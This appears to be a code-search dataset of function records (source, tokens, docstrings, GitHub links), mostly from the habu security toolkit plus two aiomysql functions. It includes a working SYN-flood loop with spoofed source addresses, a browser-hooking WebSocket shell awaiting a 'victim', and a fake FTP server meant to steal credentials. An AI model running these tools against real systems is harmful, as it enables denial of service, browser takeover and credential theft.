def cmd_web_report(input_file, verbose, browser): """Uses Firefox or Chromium to take a screenshot of the websites. Makes a report that includes the HTTP headers. The expected format is one url per line. Creates a directory called 'report' with the content inside. \b $ echo https://www.portantier.com | habu.web.report """ urls = input_file.read().decode().strip().split('\n') report_dir = Path('report') try: report_dir.mkdir() except Exception: pass report_file = report_dir / 'index.html' with report_file.open('w') as outfile: outfile.write('<!doctype html>\n') outfile.write('<html lang=en-us>\n') outfile.write('<meta charset=utf-8>\n') outfile.write('<title>habu.web.report</title>\n') outfile.write('<body>\n') outfile.write('<table border=1 style="max-width: 100%">\n') for i,url in enumerate(sorted(urls)): error = False print(i, url, file=sys.stderr) outfile.write('<tr>\n') outfile.write('<td style="vertical-align:top;max-width:30%">\n') outfile.write('<p><strong>' + html.escape(url) + '</strong></p>\n') try: req = urllib.request.Request(url, method='HEAD') resp = urllib.request.urlopen(req) outfile.write('<pre style="white-space: pre-wrap;">' + html.escape(str(resp.headers)) + '</pre>\n') except Exception as e: outfile.write('<pre>ERROR: ' + html.escape(str(e)) + '</pre>\n') error = True outfile.write('</td><td>') if not error: web_screenshot(url, report_dir / '{}.png'.format(i), browser=browser) outfile.write('<img src={}.png style="max-width: 100%" />\n'.format(i)) outfile.write('</td>\n') outfile.write('</tr>\n') outfile.write('</table>\n') outfile.write('</body>\n') outfile.write('</html>\n')
python
def cmd_web_report(input_file, verbose, browser): urls = input_file.read().decode().strip().split('\n') report_dir = Path('report') try: report_dir.mkdir() except Exception: pass report_file = report_dir / 'index.html' with report_file.open('w') as outfile: outfile.write('<!doctype html>\n') outfile.write('<html lang=en-us>\n') outfile.write('<meta charset=utf-8>\n') outfile.write('<title>habu.web.report</title>\n') outfile.write('<body>\n') outfile.write('<table border=1 style="max-width: 100%">\n') for i,url in enumerate(sorted(urls)): error = False print(i, url, file=sys.stderr) outfile.write('<tr>\n') outfile.write('<td style="vertical-align:top;max-width:30%">\n') outfile.write('<p><strong>' + html.escape(url) + '</strong></p>\n') try: req = urllib.request.Request(url, method='HEAD') resp = urllib.request.urlopen(req) outfile.write('<pre style="white-space: pre-wrap;">' + html.escape(str(resp.headers)) + '</pre>\n') except Exception as e: outfile.write('<pre>ERROR: ' + html.escape(str(e)) + '</pre>\n') error = True outfile.write('</td><td>') if not error: web_screenshot(url, report_dir / '{}.png'.format(i), browser=browser) outfile.write('<img src={}.png style="max-width: 100%" />\n'.format(i)) outfile.write('</td>\n') outfile.write('</tr>\n') outfile.write('</table>\n') outfile.write('</body>\n') outfile.write('</html>\n')
[ "def", "cmd_web_report", "(", "input_file", ",", "verbose", ",", "browser", ")", ":", "urls", "=", "input_file", ".", "read", "(", ")", ".", "decode", "(", ")", ".", "strip", "(", ")", ".", "split", "(", "'\\n'", ")", "report_dir", "=", "Path", "(", ...
Uses Firefox or Chromium to take a screenshot of the websites. Makes a report that includes the HTTP headers. The expected format is one url per line. Creates a directory called 'report' with the content inside. \b $ echo https://www.portantier.com | habu.web.report
[ "Uses", "Firefox", "or", "Chromium", "to", "take", "a", "screenshot", "of", "the", "websites", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_web_report.py#L17-L78
225,962
portantier/habu
habu/cli/cmd_synflood.py
cmd_synflood
def cmd_synflood(ip, interface, count, port, forgemac, forgeip, verbose): """Launch a lot of TCP connections and keeps them opened. Some very old systems can suffer a Denial of Service with this. Reference: https://en.wikipedia.org/wiki/SYN_flood Example: \b # sudo habu.synflood 172.16.0.10 ................. Each dot is a packet sent. You can use the options '-2' and '-3' to forge the layer 2/3 addresses. If you use them, each connection will be sent from a random layer2 (MAC) and/or layer3 (IP) address. You can choose the number of connections to create with the option '-c'. The default is never stop creating connections. Note: If you send the packets from your real IP address and you want to keep the connections half-open, you need to setup for firewall to don't send the RST packets. """ conf.verb = False if interface: conf.iface = interface layer2 = Ether() layer3 = IP() layer3.dst = ip layer4 = TCP() layer4.dport = port pkt = layer2 / layer3 / layer4 counter = 0 print("Please, remember to block your RST responses", file=sys.stderr) while True: if forgeip: pkt[IP].src = "%s.%s" %(pkt[IP].src.rsplit('.', maxsplit=1)[0], randint(1, 254)) if forgemac: pkt[Ether].src = RandMAC() pkt[TCP].sport = randint(10000, 65000) if verbose: print(pkt.summary()) else: print('.', end='') sys.stdout.flush() sendp(pkt) counter += 1 if count != 0 and counter == count: break return True
python
def cmd_synflood(ip, interface, count, port, forgemac, forgeip, verbose): conf.verb = False if interface: conf.iface = interface layer2 = Ether() layer3 = IP() layer3.dst = ip layer4 = TCP() layer4.dport = port pkt = layer2 / layer3 / layer4 counter = 0 print("Please, remember to block your RST responses", file=sys.stderr) while True: if forgeip: pkt[IP].src = "%s.%s" %(pkt[IP].src.rsplit('.', maxsplit=1)[0], randint(1, 254)) if forgemac: pkt[Ether].src = RandMAC() pkt[TCP].sport = randint(10000, 65000) if verbose: print(pkt.summary()) else: print('.', end='') sys.stdout.flush() sendp(pkt) counter += 1 if count != 0 and counter == count: break return True
[ "def", "cmd_synflood", "(", "ip", ",", "interface", ",", "count", ",", "port", ",", "forgemac", ",", "forgeip", ",", "verbose", ")", ":", "conf", ".", "verb", "=", "False", "if", "interface", ":", "conf", ".", "iface", "=", "interface", "layer2", "=", ...
Launch a lot of TCP connections and keeps them opened. Some very old systems can suffer a Denial of Service with this. Reference: https://en.wikipedia.org/wiki/SYN_flood Example: \b # sudo habu.synflood 172.16.0.10 ................. Each dot is a packet sent. You can use the options '-2' and '-3' to forge the layer 2/3 addresses. If you use them, each connection will be sent from a random layer2 (MAC) and/or layer3 (IP) address. You can choose the number of connections to create with the option '-c'. The default is never stop creating connections. Note: If you send the packets from your real IP address and you want to keep the connections half-open, you need to setup for firewall to don't send the RST packets.
[ "Launch", "a", "lot", "of", "TCP", "connections", "and", "keeps", "them", "opened", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_synflood.py#L22-L89
225,963
portantier/habu
habu/cli/cmd_usercheck.py
cmd_usercheck
def cmd_usercheck(username, no_cache, verbose, wopen): """Check if the given username exists on various social networks and other popular sites. \b $ habu.usercheck portantier { "aboutme": "https://about.me/portantier", "disqus": "https://disqus.com/by/portantier/", "github": "https://github.com/portantier/", "ifttt": "https://ifttt.com/p/portantier", "lastfm": "https://www.last.fm/user/portantier", "medium": "https://medium.com/@portantier", "pastebin": "https://pastebin.com/u/portantier", "pinterest": "https://in.pinterest.com/portantier/", "twitter": "https://twitter.com/portantier", "vimeo": "https://vimeo.com/portantier" } """ habucfg = loadcfg() if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') if not no_cache: homedir = pwd.getpwuid(os.getuid()).pw_dir requests_cache.install_cache(homedir + '/.habu_requests_cache') logging.info('using cache on ' + homedir + '/.habu_requests_cache') existent = {} for site, url in urls.items(): u = url.format(username) logging.info(u) try: r = requests.head(u, allow_redirects=False) except Exception: continue if r.status_code == 200: if requests.head(url.format('zei4fee3q9'), allow_redirects=False).status_code == 200: logging.error('Received status 200 for user zei4fee3q9, maybe, the check needs to be fixed') else: existent[site] = u if wopen: webbrowser.open_new_tab(u) print(json.dumps(existent, indent=4))
python
def cmd_usercheck(username, no_cache, verbose, wopen): habucfg = loadcfg() if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') if not no_cache: homedir = pwd.getpwuid(os.getuid()).pw_dir requests_cache.install_cache(homedir + '/.habu_requests_cache') logging.info('using cache on ' + homedir + '/.habu_requests_cache') existent = {} for site, url in urls.items(): u = url.format(username) logging.info(u) try: r = requests.head(u, allow_redirects=False) except Exception: continue if r.status_code == 200: if requests.head(url.format('zei4fee3q9'), allow_redirects=False).status_code == 200: logging.error('Received status 200 for user zei4fee3q9, maybe, the check needs to be fixed') else: existent[site] = u if wopen: webbrowser.open_new_tab(u) print(json.dumps(existent, indent=4))
[ "def", "cmd_usercheck", "(", "username", ",", "no_cache", ",", "verbose", ",", "wopen", ")", ":", "habucfg", "=", "loadcfg", "(", ")", "if", "verbose", ":", "logging", ".", "basicConfig", "(", "level", "=", "logging", ".", "INFO", ",", "format", "=", "...
Check if the given username exists on various social networks and other popular sites. \b $ habu.usercheck portantier { "aboutme": "https://about.me/portantier", "disqus": "https://disqus.com/by/portantier/", "github": "https://github.com/portantier/", "ifttt": "https://ifttt.com/p/portantier", "lastfm": "https://www.last.fm/user/portantier", "medium": "https://medium.com/@portantier", "pastebin": "https://pastebin.com/u/portantier", "pinterest": "https://in.pinterest.com/portantier/", "twitter": "https://twitter.com/portantier", "vimeo": "https://vimeo.com/portantier" }
[ "Check", "if", "the", "given", "username", "exists", "on", "various", "social", "networks", "and", "other", "popular", "sites", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_usercheck.py#L80-L126
225,964
portantier/habu
habu/cli/cmd_dhcp_discover.py
cmd_dhcp_discover
def cmd_dhcp_discover(iface, timeout, verbose): """Send a DHCP request and show what devices has replied. Note: Using '-v' you can see all the options (like DNS servers) included on the responses. \b # habu.dhcp_discover Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.5:bootpc / BOOTP / DHCP """ conf.verb = False if iface: conf.iface = iface conf.checkIPaddr = False hw = get_if_raw_hwaddr(conf.iface) ether = Ether(dst="ff:ff:ff:ff:ff:ff") ip = IP(src="0.0.0.0",dst="255.255.255.255") udp = UDP(sport=68,dport=67) bootp = BOOTP(chaddr=hw) dhcp = DHCP(options=[("message-type","discover"),"end"]) dhcp_discover = ether / ip / udp / bootp / dhcp ans, unans = srp(dhcp_discover, multi=True, timeout=5) # Press CTRL-C after several seconds for _, pkt in ans: if verbose: print(pkt.show()) else: print(pkt.summary())
python
def cmd_dhcp_discover(iface, timeout, verbose): conf.verb = False if iface: conf.iface = iface conf.checkIPaddr = False hw = get_if_raw_hwaddr(conf.iface) ether = Ether(dst="ff:ff:ff:ff:ff:ff") ip = IP(src="0.0.0.0",dst="255.255.255.255") udp = UDP(sport=68,dport=67) bootp = BOOTP(chaddr=hw) dhcp = DHCP(options=[("message-type","discover"),"end"]) dhcp_discover = ether / ip / udp / bootp / dhcp ans, unans = srp(dhcp_discover, multi=True, timeout=5) # Press CTRL-C after several seconds for _, pkt in ans: if verbose: print(pkt.show()) else: print(pkt.summary())
[ "def", "cmd_dhcp_discover", "(", "iface", ",", "timeout", ",", "verbose", ")", ":", "conf", ".", "verb", "=", "False", "if", "iface", ":", "conf", ".", "iface", "=", "iface", "conf", ".", "checkIPaddr", "=", "False", "hw", "=", "get_if_raw_hwaddr", "(", ...
Send a DHCP request and show what devices has replied. Note: Using '-v' you can see all the options (like DNS servers) included on the responses. \b # habu.dhcp_discover Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.5:bootpc / BOOTP / DHCP
[ "Send", "a", "DHCP", "request", "and", "show", "what", "devices", "has", "replied", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_dhcp_discover.py#L17-L50
225,965
portantier/habu
habu/cli/cmd_nmap_excluded.py
cmd_nmap_excluded
def cmd_nmap_excluded(lowest, highest): """ Prints a random port that is not present on nmap-services file so is not scanned automatically by nmap. Useful for services like SSH or RDP, that are continuously scanned on their default ports. Example: \b # habu.nmap.excluded 58567 """ if lowest >= highest: logging.error('lowest can not be greater or equal than highest') cfg = loadcfg() with (cfg['DATADIR'] / 'nmap-services').open() as nsf: nmap_services = nsf.read() unwanted = set() for line in nmap_services.strip().split('\n'): if line.startswith('#'): continue service,port,_ = line.split('\t', maxsplit=2) unwanted.add(int(port.split('/')[0])) choices = list(range(lowest,highest)) random.shuffle(choices) found = False for choice in choices: if choice not in unwanted: print(choice) found = True break if not found: logging.error('Can\'t find a port number with the specified parameters')
python
def cmd_nmap_excluded(lowest, highest): if lowest >= highest: logging.error('lowest can not be greater or equal than highest') cfg = loadcfg() with (cfg['DATADIR'] / 'nmap-services').open() as nsf: nmap_services = nsf.read() unwanted = set() for line in nmap_services.strip().split('\n'): if line.startswith('#'): continue service,port,_ = line.split('\t', maxsplit=2) unwanted.add(int(port.split('/')[0])) choices = list(range(lowest,highest)) random.shuffle(choices) found = False for choice in choices: if choice not in unwanted: print(choice) found = True break if not found: logging.error('Can\'t find a port number with the specified parameters')
[ "def", "cmd_nmap_excluded", "(", "lowest", ",", "highest", ")", ":", "if", "lowest", ">=", "highest", ":", "logging", ".", "error", "(", "'lowest can not be greater or equal than highest'", ")", "cfg", "=", "loadcfg", "(", ")", "with", "(", "cfg", "[", "'DATAD...
Prints a random port that is not present on nmap-services file so is not scanned automatically by nmap. Useful for services like SSH or RDP, that are continuously scanned on their default ports. Example: \b # habu.nmap.excluded 58567
[ "Prints", "a", "random", "port", "that", "is", "not", "present", "on", "nmap", "-", "services", "file", "so", "is", "not", "scanned", "automatically", "by", "nmap", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_nmap_excluded.py#L14-L55
225,966
portantier/habu
habu/cli/cmd_jshell.py
cmd_jshell
def cmd_jshell(ip, port, verbose): """Control a web browser through Websockets. Bind a port (default: 3333) and listen for HTTP connections. On connection, send a JavaScript code that opens a WebSocket that can be used to send commands to the connected browser. You can write the commands directly in the shell, or use plugins, that are simply external JavaScript files. Using habu.jshell you can completely control a web browser. Reference: https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API Example: \b $ habu.jshell >> Listening on 192.168.0.10:3333. Waiting for a victim connection. >> HTTP Request received from 192.168.0.15. Sending hookjs >> Connection from 192.168.0.15 $ _sessions 0 * 192.168.0.15:33432 Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0 $ _info { "user-agent": "Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0", "location": "http://192.168.0.10:3333/", "java-enabled": false, "platform": "Linux x86_64", "app-code-name": "Mozilla", "app-name": "Netscape", "app-version": "5.0 (X11)", "cookie-enabled": true, "language": "es-AR", "online": true } $ document.location http://192.168.0.10:3333/ """ global hook_js hook_js = hook_js.format(ip=ip, port=port) print('>>> Listening on {}:{}. Waiting for a victim connection.'.format(ip, port)) eventloop = asyncio.get_event_loop() eventloop.run_until_complete(websockets.serve(handler, ip, port, create_protocol=MyWebSocketServerProtocol)) thread = threading.Thread(target=eventloop.run_forever) thread.start() completer = WordCompleter(completer_list + list(runner.internal_commands) + list(runner.external_commands)) history = InMemoryHistory() while True: if not thread.is_alive(): break cmd = prompt('$ ', patch_stdout=True, completer=completer, history=history, lexer=PygmentsLexer(JavascriptLexer)) if cmd: if cmd == '_help': runner.cmd_help() elif runner.sessions: queue.put_nowait(cmd) else: print('>>> No active session!')
python
def cmd_jshell(ip, port, verbose): global hook_js hook_js = hook_js.format(ip=ip, port=port) print('>>> Listening on {}:{}. Waiting for a victim connection.'.format(ip, port)) eventloop = asyncio.get_event_loop() eventloop.run_until_complete(websockets.serve(handler, ip, port, create_protocol=MyWebSocketServerProtocol)) thread = threading.Thread(target=eventloop.run_forever) thread.start() completer = WordCompleter(completer_list + list(runner.internal_commands) + list(runner.external_commands)) history = InMemoryHistory() while True: if not thread.is_alive(): break cmd = prompt('$ ', patch_stdout=True, completer=completer, history=history, lexer=PygmentsLexer(JavascriptLexer)) if cmd: if cmd == '_help': runner.cmd_help() elif runner.sessions: queue.put_nowait(cmd) else: print('>>> No active session!')
[ "def", "cmd_jshell", "(", "ip", ",", "port", ",", "verbose", ")", ":", "global", "hook_js", "hook_js", "=", "hook_js", ".", "format", "(", "ip", "=", "ip", ",", "port", "=", "port", ")", "print", "(", "'>>> Listening on {}:{}. Waiting for a victim connection.'...
Control a web browser through Websockets. Bind a port (default: 3333) and listen for HTTP connections. On connection, send a JavaScript code that opens a WebSocket that can be used to send commands to the connected browser. You can write the commands directly in the shell, or use plugins, that are simply external JavaScript files. Using habu.jshell you can completely control a web browser. Reference: https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API Example: \b $ habu.jshell >> Listening on 192.168.0.10:3333. Waiting for a victim connection. >> HTTP Request received from 192.168.0.15. Sending hookjs >> Connection from 192.168.0.15 $ _sessions 0 * 192.168.0.15:33432 Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0 $ _info { "user-agent": "Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0", "location": "http://192.168.0.10:3333/", "java-enabled": false, "platform": "Linux x86_64", "app-code-name": "Mozilla", "app-name": "Netscape", "app-version": "5.0 (X11)", "cookie-enabled": true, "language": "es-AR", "online": true } $ document.location http://192.168.0.10:3333/
[ "Control", "a", "web", "browser", "through", "Websockets", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_jshell.py#L292-L358
225,967
portantier/habu
habu/cli/cmd_xor.py
cmd_xor
def cmd_xor(k, i, o): """XOR cipher. Note: XOR is not a 'secure cipher'. If you need strong crypto you must use algorithms like AES. You can use habu.fernet for that. Example: \b $ habu.xor -k mysecretkey -i /bin/ls > xored $ habu.xor -k mysecretkey -i xored > uxored $ sha1sum /bin/ls uxored $ 6fcf930fcee1395a1c95f87dd38413e02deff4bb /bin/ls $ 6fcf930fcee1395a1c95f87dd38413e02deff4bb uxored """ o.write(xor(i.read(), k.encode()))
python
def cmd_xor(k, i, o): o.write(xor(i.read(), k.encode()))
[ "def", "cmd_xor", "(", "k", ",", "i", ",", "o", ")", ":", "o", ".", "write", "(", "xor", "(", "i", ".", "read", "(", ")", ",", "k", ".", "encode", "(", ")", ")", ")" ]
XOR cipher. Note: XOR is not a 'secure cipher'. If you need strong crypto you must use algorithms like AES. You can use habu.fernet for that. Example: \b $ habu.xor -k mysecretkey -i /bin/ls > xored $ habu.xor -k mysecretkey -i xored > uxored $ sha1sum /bin/ls uxored $ 6fcf930fcee1395a1c95f87dd38413e02deff4bb /bin/ls $ 6fcf930fcee1395a1c95f87dd38413e02deff4bb uxored
[ "XOR", "cipher", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_xor.py#L12-L28
225,968
portantier/habu
habu/cli/cmd_server_ftp.py
cmd_server_ftp
def cmd_server_ftp(address, port, enable_ssl, ssl_cert, ssl_key, verbose): """Basic fake FTP server, whith the only purpose to steal user credentials. Supports SSL/TLS. Example: \b # sudo habu.server.ftp --ssl --ssl-cert /tmp/cert.pem --ssl-key /tmp/key.pem Listening on port 21 Accepted connection from ('192.168.0.27', 56832) Credentials collected from 192.168.0.27! fabian 123456 """ ssl_context = None if enable_ssl: if not (ssl_cert and ssl_key): print('Please, specify --ssl-cert and --ssl-key to enable SSL/TLS') return False ssl_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) ssl_context.check_hostname = False ssl_context.load_cert_chain(ssl_cert, ssl_key) loop = asyncio.get_event_loop() coro = loop.create_server(ServerFTP, host=address, port=port, ssl=ssl_context, reuse_address=True, reuse_port=True) server = loop.run_until_complete(coro) drop_privileges() print('Listening on port {}'.format(port)) try: loop.run_forever() finally: server.close() loop.close()
python
def cmd_server_ftp(address, port, enable_ssl, ssl_cert, ssl_key, verbose): ssl_context = None if enable_ssl: if not (ssl_cert and ssl_key): print('Please, specify --ssl-cert and --ssl-key to enable SSL/TLS') return False ssl_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) ssl_context.check_hostname = False ssl_context.load_cert_chain(ssl_cert, ssl_key) loop = asyncio.get_event_loop() coro = loop.create_server(ServerFTP, host=address, port=port, ssl=ssl_context, reuse_address=True, reuse_port=True) server = loop.run_until_complete(coro) drop_privileges() print('Listening on port {}'.format(port)) try: loop.run_forever() finally: server.close() loop.close()
[ "def", "cmd_server_ftp", "(", "address", ",", "port", ",", "enable_ssl", ",", "ssl_cert", ",", "ssl_key", ",", "verbose", ")", ":", "ssl_context", "=", "None", "if", "enable_ssl", ":", "if", "not", "(", "ssl_cert", "and", "ssl_key", ")", ":", "print", "(...
Basic fake FTP server, whith the only purpose to steal user credentials. Supports SSL/TLS. Example: \b # sudo habu.server.ftp --ssl --ssl-cert /tmp/cert.pem --ssl-key /tmp/key.pem Listening on port 21 Accepted connection from ('192.168.0.27', 56832) Credentials collected from 192.168.0.27! fabian 123456
[ "Basic", "fake", "FTP", "server", "whith", "the", "only", "purpose", "to", "steal", "user", "credentials", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_server_ftp.py#L102-L140
225,969
portantier/habu
habu/cli/cmd_whois_domain.py
cmd_whois_domain
def cmd_whois_domain(domain): """Simple whois client to check domain names. Example: \b $ habu.whois.domain portantier.com { "domain_name": "portantier.com", "registrar": "Amazon Registrar, Inc.", "whois_server": "whois.registrar.amazon.com", ... """ warnings.filterwarnings("ignore") data = whois.whois(domain) data = remove_duplicates(data) print(json.dumps(data, indent=4, default=str))
python
def cmd_whois_domain(domain): warnings.filterwarnings("ignore") data = whois.whois(domain) data = remove_duplicates(data) print(json.dumps(data, indent=4, default=str))
[ "def", "cmd_whois_domain", "(", "domain", ")", ":", "warnings", ".", "filterwarnings", "(", "\"ignore\"", ")", "data", "=", "whois", ".", "whois", "(", "domain", ")", "data", "=", "remove_duplicates", "(", "data", ")", "print", "(", "json", ".", "dumps", ...
Simple whois client to check domain names. Example: \b $ habu.whois.domain portantier.com { "domain_name": "portantier.com", "registrar": "Amazon Registrar, Inc.", "whois_server": "whois.registrar.amazon.com", ...
[ "Simple", "whois", "client", "to", "check", "domain", "names", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_whois_domain.py#L32-L51
225,970
portantier/habu
habu/cli/cmd_gateway_find.py
cmd_gateway_find
def cmd_gateway_find(network, iface, host, tcp, dport, timeout, verbose): """ Try to reach an external IP using any host has a router. Useful to find routers in your network. First, uses arping to detect alive hosts and obtain MAC addresses. Later, create a network packet and put each MAC address as destination. Last, print the devices that forwarded correctly the packets. Example: \b # habu.find.gateway 192.168.0.0/24 192.168.0.1 a4:08:f5:19:17:a4 Sagemcom 192.168.0.7 b0:98:2b:5d:22:70 Sagemcom 192.168.0.8 b0:98:2b:5d:1f:e8 Sagemcom """ if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') conf.verb = False if iface: conf.iface = iface res, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=network), timeout=2) neighbors = set() for _, pkt in res: neighbors.add((pkt['Ether'].src, pkt['Ether'].psrc)) for mac,ip in neighbors: if tcp: res, unans = srp(Ether(dst=mac)/IP(dst=host)/TCP(dport=dport), timeout=timeout) else: res, unans = srp(Ether(dst=mac)/IP(dst=host)/ICMP(), timeout=timeout) for _,pkt in res: if pkt: if verbose: print(pkt.show()) else: print(ip, mac, conf.manufdb._get_manuf(mac))
python
def cmd_gateway_find(network, iface, host, tcp, dport, timeout, verbose): if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') conf.verb = False if iface: conf.iface = iface res, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=network), timeout=2) neighbors = set() for _, pkt in res: neighbors.add((pkt['Ether'].src, pkt['Ether'].psrc)) for mac,ip in neighbors: if tcp: res, unans = srp(Ether(dst=mac)/IP(dst=host)/TCP(dport=dport), timeout=timeout) else: res, unans = srp(Ether(dst=mac)/IP(dst=host)/ICMP(), timeout=timeout) for _,pkt in res: if pkt: if verbose: print(pkt.show()) else: print(ip, mac, conf.manufdb._get_manuf(mac))
[ "def", "cmd_gateway_find", "(", "network", ",", "iface", ",", "host", ",", "tcp", ",", "dport", ",", "timeout", ",", "verbose", ")", ":", "if", "verbose", ":", "logging", ".", "basicConfig", "(", "level", "=", "logging", ".", "INFO", ",", "format", "="...
Try to reach an external IP using any host has a router. Useful to find routers in your network. First, uses arping to detect alive hosts and obtain MAC addresses. Later, create a network packet and put each MAC address as destination. Last, print the devices that forwarded correctly the packets. Example: \b # habu.find.gateway 192.168.0.0/24 192.168.0.1 a4:08:f5:19:17:a4 Sagemcom 192.168.0.7 b0:98:2b:5d:22:70 Sagemcom 192.168.0.8 b0:98:2b:5d:1f:e8 Sagemcom
[ "Try", "to", "reach", "an", "external", "IP", "using", "any", "host", "has", "a", "router", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_gateway_find.py#L22-L68
225,971
portantier/habu
habu/cli/cmd_extract_email.py
cmd_extract_email
def cmd_extract_email(infile, verbose, jsonout): """Extract email addresses from a file or stdin. Example: \b $ cat /var/log/auth.log | habu.extract.email john@securetia.com raven@acmecorp.net nmarks@fimax.com """ if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') data = infile.read() result = [] result = extract_email(data) if jsonout: print(json.dumps(result, indent=4)) else: print('\n'.join(result))
python
def cmd_extract_email(infile, verbose, jsonout): if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') data = infile.read() result = [] result = extract_email(data) if jsonout: print(json.dumps(result, indent=4)) else: print('\n'.join(result))
[ "def", "cmd_extract_email", "(", "infile", ",", "verbose", ",", "jsonout", ")", ":", "if", "verbose", ":", "logging", ".", "basicConfig", "(", "level", "=", "logging", ".", "INFO", ",", "format", "=", "'%(message)s'", ")", "data", "=", "infile", ".", "re...
Extract email addresses from a file or stdin. Example: \b $ cat /var/log/auth.log | habu.extract.email john@securetia.com raven@acmecorp.net nmarks@fimax.com
[ "Extract", "email", "addresses", "from", "a", "file", "or", "stdin", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_extract_email.py#L28-L52
225,972
portantier/habu
habu/cli/cmd_karma_bulk.py
cmd_karma_bulk
def cmd_karma_bulk(infile, jsonout, badonly, verbose): """Show which IP addresses are inside blacklists using the Karma online service. Example: \b $ cat /var/log/auth.log | habu.extract.ipv4 | habu.karma.bulk 172.217.162.4 spamhaus_drop,alienvault_spamming 23.52.213.96 CLEAN 190.210.43.70 alienvault_malicious """ if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') data = infile.read() result = {} for ip in data.split('\n'): if ip: logging.info('Checking ' + ip) response = karma(ip) if response: result[ip] = response elif not badonly: result[ip] = ['CLEAN'] if jsonout: print(json.dumps(result, indent=4)) else: for k,v in result.items(): print(k, '\t', ','.join(v))
python
def cmd_karma_bulk(infile, jsonout, badonly, verbose): if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') data = infile.read() result = {} for ip in data.split('\n'): if ip: logging.info('Checking ' + ip) response = karma(ip) if response: result[ip] = response elif not badonly: result[ip] = ['CLEAN'] if jsonout: print(json.dumps(result, indent=4)) else: for k,v in result.items(): print(k, '\t', ','.join(v))
[ "def", "cmd_karma_bulk", "(", "infile", ",", "jsonout", ",", "badonly", ",", "verbose", ")", ":", "if", "verbose", ":", "logging", ".", "basicConfig", "(", "level", "=", "logging", ".", "INFO", ",", "format", "=", "'%(message)s'", ")", "data", "=", "infi...
Show which IP addresses are inside blacklists using the Karma online service. Example: \b $ cat /var/log/auth.log | habu.extract.ipv4 | habu.karma.bulk 172.217.162.4 spamhaus_drop,alienvault_spamming 23.52.213.96 CLEAN 190.210.43.70 alienvault_malicious
[ "Show", "which", "IP", "addresses", "are", "inside", "blacklists", "using", "the", "Karma", "online", "service", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_karma_bulk.py#L27-L59
225,973
aio-libs/aiomysql
aiomysql/pool.py
Pool.terminate
def terminate(self): """Terminate pool. Close pool with instantly closing all acquired connections also. """ self.close() for conn in list(self._used): conn.close() self._terminated.add(conn) self._used.clear()
python
def terminate(self): self.close() for conn in list(self._used): conn.close() self._terminated.add(conn) self._used.clear()
[ "def", "terminate", "(", "self", ")", ":", "self", ".", "close", "(", ")", "for", "conn", "in", "list", "(", "self", ".", "_used", ")", ":", "conn", ".", "close", "(", ")", "self", ".", "_terminated", ".", "add", "(", "conn", ")", "self", ".", ...
Terminate pool. Close pool with instantly closing all acquired connections also.
[ "Terminate", "pool", "." ]
131fb9f914739ff01a24b402d29bfd719f2d1a8b
https://github.com/aio-libs/aiomysql/blob/131fb9f914739ff01a24b402d29bfd719f2d1a8b/aiomysql/pool.py#L92-L104
225,974
aio-libs/aiomysql
aiomysql/cursors.py
Cursor.execute
async def execute(self, query, args=None): """Executes the given operation Executes the given operation substituting any markers with the given parameters. For example, getting all rows where id is 5: cursor.execute("SELECT * FROM t1 WHERE id = %s", (5,)) :param query: ``str`` sql statement :param args: ``tuple`` or ``list`` of arguments for sql query :returns: ``int``, number of rows that has been produced of affected """ conn = self._get_db() while (await self.nextset()): pass if args is not None: query = query % self._escape_args(args, conn) await self._query(query) self._executed = query if self._echo: logger.info(query) logger.info("%r", args) return self._rowcount
python
